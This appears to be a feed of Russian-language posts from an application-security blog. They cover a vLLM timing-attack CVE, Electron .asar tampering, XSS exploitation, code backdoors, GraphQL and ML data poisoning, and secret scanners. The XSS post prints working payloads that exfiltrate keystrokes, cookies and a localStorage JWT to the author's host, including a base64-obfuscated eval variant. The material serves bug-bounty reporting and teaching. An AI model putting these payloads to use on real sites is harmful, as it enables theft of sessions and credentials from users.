MyAppSec

CVE-2025-X942X, она же CVE-2025-59425, она же GHSA-wr9h-g72x-mwhm интересная уязвимость класса timing атак в популярном нынче движке vLLM, когда в процессе аутентификации используется сравнение строк (string comparison).

Питон, да и в общем все другие, проверяет строки посимвольно, и если строки не совпадают, завершает проверку.

Атакующий замеряет время, которое требуется для проверки и определяет правильные символы.

В итоге обход аутентификации со всеми вытекающими.

SASTу такое сложно зацепить без знания антипаттернов аутентификации, легче искать в динамике или ручным code review.

А вот и описание уязвимостей выше в виде отчетов SASTа ScanSuite по каждому языку. В целом отлично справился, за исключением CVE-2025-X942X для питона.

Примеры уязвимого кода реальных CVE для тренировки поиска уязвимостей.

Попробуйте найти самостоятельно, через неделю выложу ответы.

Всем привет!

Слайды со свежего курса Advanced Web Hacking.

Интересные подходы, логические баги, множество примеров из реальных тестов. В общем все как мы любим.

Вторая особенность электрона - дырявый механизм обновления electron-updater. Он не проверяет ни источник загрузки обновлений, ни целостность загружаемых файлов, вся безопасность механизма опирается на SSL верификацию соединения. То есть при эксплуатации первой asar уязвимости, можно настроить обновление на регулярное получение новых вредоносов.

Защита electron приложений заключается в их правильной настройке, таких как проверка целостности asar ов и обновлений.

А пока вендоры неспешно их обновляют, проверьте сколько у вас .asar файлов на любимом ноуте. Все они - потенциальные бэкдоры.

Electron - популярный фреймворк для разработки кросс-платформенных десктоп приложений. MS Teams, VS Code, Postman, Obsidian, Docker Desktop и куча других, в том числе российских разработок, написаны на электроне. Регулярно встречаю его при анализе, расскажу про пару особенностей.

По сути электрон - это Node.js приложение, которое разворачивается локально на компе пользователя и рендерится через Chromium. Основной код хранится в .asar файлах, которые на самом деле архивы с JS кодом. По умолчанию целостность архивов не проверяется загрузчиком, что позволяет подменить эти файлы на вредносные.

Опасность его и в том, что, благодаря кросс-платформенности, можно выполнить одинаковый вредонос и на винде и на маке и на линуксе, компиляция под конкретную ось не требуется.

На макоси вообще вся безопасность построена на проверки целостности выполняемого кода, AV нету, поэтому каждое электрон приложение, которое вы подтвердили для установки, уязвимо для произвольного выполнения кода при замене любого asar файла.

По этой теме есть целый C2 фреймворк https://github.com/boku7/Loki

https://www.youtube.com/watch?v=Z8n_DwuNRH8

Появилась запись выступления с BSides Tinker Tailor LLM Spy: Investigate & Respond to Attacks on GenAI Chatbots, о которой писал ранее с BlackHat.

Хороший обзор по prompt injection атакам и защите от них.

Если приложение использует куки с HttpOnly, CSP настроено правильно, внешние скрипты не грузятся, какие ещё есть варианты?

Внедрить кейлоггер, обернув в eval(atob(, как на примере выше:

function logKey(event){fetch("http://myappsec.ru/k?key=" + event.key)}; document.addEventListener('keydown', logKey);

Заменить значение формы перед отправкой, например подменить получателя платежа или адрес доставки:

document.forms[0].onsubmit = function() {document.forms[0].elements[0].value="hacked";}

Заменить всю страницу, но тут уже много символов, может не влезть в one liner:

fetch("login").then(res => res.text().then(data => {
document.getElementsByTagName("html")[0].innerHTML = data
document.getElementsByTagName("form")[0].action = "https://myappsec.ru"
document.getElementsByTagName("form")[0].method = "get"
}))

Эксплуатация XSS становится все сложнее. Фреймворки кодируют вывод. Флаги для кук, хедеры безопасности, CSP с CORS ом не дают воспользоваться заветной уязвимостью. Однако показать alert('XSS') в отчете это моветон, на баг баунти такое вообще не примут. Покажу пару трюков, которые позволят аргументированно зарепортить XSS.

btoa/atob - полезны для one liner ов, кодируют пейлоад в/из base64. Например, нужно переслать JWT из Local Storage, пейлоад будет выглядеть примерно так:

fetch("https://myappsec.ru/token?t=" + btoa(localStorage.getItem("tokenData")), {mode: "no-cors"})

Тоже самое для Cookie, при условии что нет HttpOnly флага:

fetch("https://myappsec.ru/token?t=" + btoa(document.cookie), {mode: "no-cors"})

Здесь мы кодируем значение tokenData/куки в base64 перед пересылкой на наш сервер. Здорово, но весь пейлоад содержит спец символы, которые с большой вероятностью будут отфильтрованы, кодируем весь пейлоад Base64 и раскодируем перед выполнением eval:

<img src='/' onerror='eval(atob("ZmV0Y2goImh0dHBzOi8vbXlhcHBzZWMucnUvdG9rZW4/dD0iICsgYnRvYShsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgidG9rZW5EYXRhIikpLCB7bW9kZTogIm5vLWNvcnMifSk="))' />

Специальные пути / routes. Зная путь, получаешь прямой доступ к админ/дебаг/shell консоли. Были и совсем смешные случаи как на скрине (реальное приложение от крупного вендора).

Изменение логики / logic bombs - добавление в стандартные функции аутентификации/авторизации определенных значений или дополнительных параметров, зная которые, получаешь привилегированный доступ. Часто такое сопровождается обфускацией, запутыванием для code review.

"Зараженные" зависимости - самое распространенное для корыстных целей. Сам код чистый, а логика бэкдора в зависимости/внешней бибилотеке, которая подтягивается при деплое.

Выполнение по времени - "01.09.2026" или "каждые полгода" удалить/зашифровать все данные/контейнеры, создать пользователя в БД, выполнить реверс шелл.

Ещё одна интересная тема, которая регулярно поднимается при анализе кода, это бэкдоры/закладки.

Под бэкдором понимается любой функционал или секреты, которые дают привилегированный доступ к приложению в обход стандартных процедур аутентификации/авторизации.

Чаще всего такой функционал добавляется разработчиками для удаленного решения проблем, отладки ошибок или по просьбе заказчика с похожими целями. Реже - для корыстных целей.

Бэкдоры бывают разные, расскажу какие сам видел:

Статические секреты. Если такой логин/пароль, значение OTP, сессионный токен, то войти как админ или обнулить пароль заданному юзеру. Самое распространенное - SECRET_KEY для подписи JWT. Знаешь key и как выглядит токен - генеришь, подписываешь, заходишь под любым пользователем.

После общения с разработчиками выяснилось, что запрос использовался для ежедневного обновления ML модели, которая потом выдавала рекомендации по покупке/продаже. Можно было повлиять на эти рекомендации, замусорив модель поддельными данными, что привело бы неверным решениям и потерям.

Учитывайте такие возможности при анализе безопасности ML решений. Модели надо как-то тренировать и часто это происходит через API или сторонние приложения. В таких случаях можно повлиять на целостность данных для обучения с дальнейшими последствиями.

Всем привет. В свете растущей популярности ML расскажу про недавний случай.

Анализировал защищенность веб приложения, выдающее трейдерам агрегированные показатели, полученные из публичных источников. На первый взгляд некритичное приложение с очень небольшой поверхностью атаки.

В процессе тестирования всплыл GraphQL - популярный аналог REST API. Хорош он прежде всего тем, что выдает в ответ на {"query":"{__schema{types{name,fields{name}}}}"} (см пример на скрине) всю структуру своего API, со всеми возможными параметрами, эдакая документация.

Ответ парсим (я использую InQL расширение для Burp) и дальше смотрим какие запросы доступны в дополнение к используемым веб приложением.

Самые интересные запросы идут в разделе Mutation (опять же на скрине), аналог POST/PUT, используются для изменения данных. В моем случае один такой запрос был доступен без аутентификации и позволял отправить в бэк данные с рынков.

Всем привет! Как обещал, делюсь презентацией со своего недавнего выступления по использованию LLM для анализа уязвимостей.

Рассказал про 7 примеров применения LLM из своего опыта, от анализа исходного кода до генерации описания уязвимостей и пентест отчетов.

Поделился наработками по установке и настройке локальных моделей, походам к поиску уязвимостей в коде, веб приложениях и инфраструктуре, а также по верификации результатов, снижения фолсов, работе с отчетами.

Лучшая защита от LLM prompt injection - техники guardrails, когда ответ LLM отправляют на проверку в другую LLM с запросом скоринга соответствия разрешенным. Наравне с пониманием как работает софт, какие используются сторонние wrappers, менеджеры LLM, агенты и т.п. RCE почти всегда через достигается именно через сторонний код - Tinker Tailor LLM Spy: Investigate & Respond to Attacks on GenAI Chatbots

Фроды через маркетплейсы - это дикий запад, сговоры и кидалово на всех уровнях от производителей, поставщиков, складов, до сервисов доставки и покупателей. Сервисы FaaS - Fraud as a Service помогают отжимать бабки с лохов с гарантией и большой командой тех поддержки. В продаже девайсы на базе малины, эмулирующие армию Android для накрутки рейтингов и других манипуляций. Очень много типов фродов и подробностей - Fake Deals and Real Steals: The Art of E-Commerce Fraud

Заехал тут на Black Hat Asia, несколько интересных моментов с выступлений:

RCE выполнение кода из зараженного репозитория возможно через git push. Она же Server Push Attack. Делается через git init --bare и размещение в репе prehook скрипта. Техника использовалась для захвата контроля над CI/CD серверами Bamboo, GitLab и других. Также понравилось выполнение кода через «отравление» environment variables. The Illusion of Isolation: How Isolation Failures in CI/CD Servers Lead to RCE and Privacy Risks

Большинство/все китайские мессенджеры используют кастомное шифрование трафика, тогда как другие/US предпочитают “классический” TLS. В кастомной крипте MMTLS от WeChat и других нашли не/серьезные баги (какая неожиданность). Should We Chat, Too? Security Analysis of WeChat's MMTLS Encryption Protocol https://citizenlab.ca/2024/10/should-we-chat-too-security-analysis-of-wechats-mmtls-encryption-protocol/

TruffleHog, наверное самый популярный сканер секретов. С ним была такая история.

Есть великолепный сервис https://canarytokens.org, позволяет генерить файлы и секреты приманки. При открытии файла или попытки использовать приманку (например ключи от AWS / Azure), на почту приходит уведомление, как на картинке. Вот таких секретов я нагенерил и распихал по кодовым базам, папкам и проч.

Так вот, часа через 2 после сканирования TruffleHog тестового репозитория с такими приманками, получаю алерт. Сканирую ещё раз, через пару часов опять алерт.

Зачем ребятам из Truffle Security использовать мои секреты сильно после сканирования я не знаю, но с тех пор делаю 2 вещи.

1 - TruffelHog не использую для продового кода, хороших сканеров секретов достаточно, а если очень надо, то на офлайн виртуалке.

2 - новые сканеры кода проверяю таким же способом, с другими пока алертов не получал.

Всем привет и скорейшего наступления выходных. Расскажу про поиск секретов в коде, так как это обязательная часть любой AppSec программы. Я использую несколько опен сорсных сканеров:

https://github.com/Yelp/detect-secrets
https://github.com/gitleaks/gitleaks
https://github.com/praetorian-inc/noseyparker
https://github.com/trufflesecurity/trufflehog

Запустить их из папки с кодом можно так:

docker run --rm -v $(pwd):/src trufflesecurity/trufflehog git file://../../src -j

docker run --rm -v $(pwd):/src zricethezav/gitleaks detect -s="/src" -r="/src/gitleaks-report.json"

docker run --rm -v $(pwd):/scan ghcr.io/praetorian-inc/noseyparker report --format json -o /scan/parker-report.json

docker run --rm -v $(pwd):/src hysnsec/detect-secrets -C /src scan --all-files | tee secrets-result.json

На выходе получаем json, который читаем, парсим или грузим в Dojo.

Если есть пайплайн в гитлабе, можно сканировать код регулярно:

secrets-scanning:
stage: build
script:
- docker run -v $(pwd):/src --rm hysnsec/trufflehog filesystem --directory=/src --json | tee trufflehog-output.json
artifacts:
paths: [trufflehog-output.json]
when: always
expire_in: one week
allow_failure: false

Здесь специально указал другой способ запуска Trufflehog через filesystem, его часто используют, но я предпочитаю git file как в примере выше.

Вообще Trufflehog был замечен мною на сливе секретов, поэтому советую его использовать только в оффлайне. С остальными такого не наблюдал. Подробнее расскажу в следующем посте.

Всем привет! Готовлю презентацию по автоматизации сканирования кода (SAST) на уязвимости с локальными LLM. Рассказывать буду в апреле, пока поделюсь тезисами:

Процесс такой - в репозитории находим файлы, требующие анализа, направляем по локалке в LLMку через API, получаем ответ по каждому отправленному файлу. Ответы парсим, склеиваем, получаем html как на примере выше. Индивидуально уязвимости отправляем в Jira / Dojo и т.п.

Адекватные и консистентные результаты дают модели, тренированные на коде с 30B параметрами и выше. Я использую Qwen2.5-Coder-32B-Instruct. QwQ-32B тоже ничего, но медленнее Qwen раза в 4, остальные не тянут. По ресурсам для 32B модели нужно 20-40 Гб VRAM (видеопамяти), зависит от размера поддерживаемого контекста.

Результаты зависят от размера, качества и настроек самой модели, величины контекста, железа и т.п. С учетом темпов развития железа и моделей такой подход может вполне заменить сигнатурные SASTы.

Про безопасность мессенджеров. Навеяно недавней уязвимостью в WhatsApp, позволяющей выполнить вредносный код через PDF превью фичу приложения.

Так вот, в 2023 довелось протестировать MS Teams для всех популярных ОС. Нашел 4 уязвимости, связанных с IDOR - неистекаемыми ссылками на файлы (недавно рассказывал что это), и обходом DLP - ограничений, не позволяющих копр юзерам копировать данные компании из/в приложение.

Микрософт принял все к исправлению, поблагодарил за службу. С тех пор ни одна уязвимость не исправлена, висят в статусе Develop.

Три месяца назад имел возможность протестировать российский корп мессенджер eXpress, примерный аналог Teams. Без DLP, но с on-prem установкой серверов. В скоуп также вошли веб, десктоп и мобильные приложения.

Результат - 40 с чем-то уязвимостей, 9 - высокого уровня риска (по CVSS 3.1).

Как думаете, сколько было принято к исправлению и сколько будет исправлено?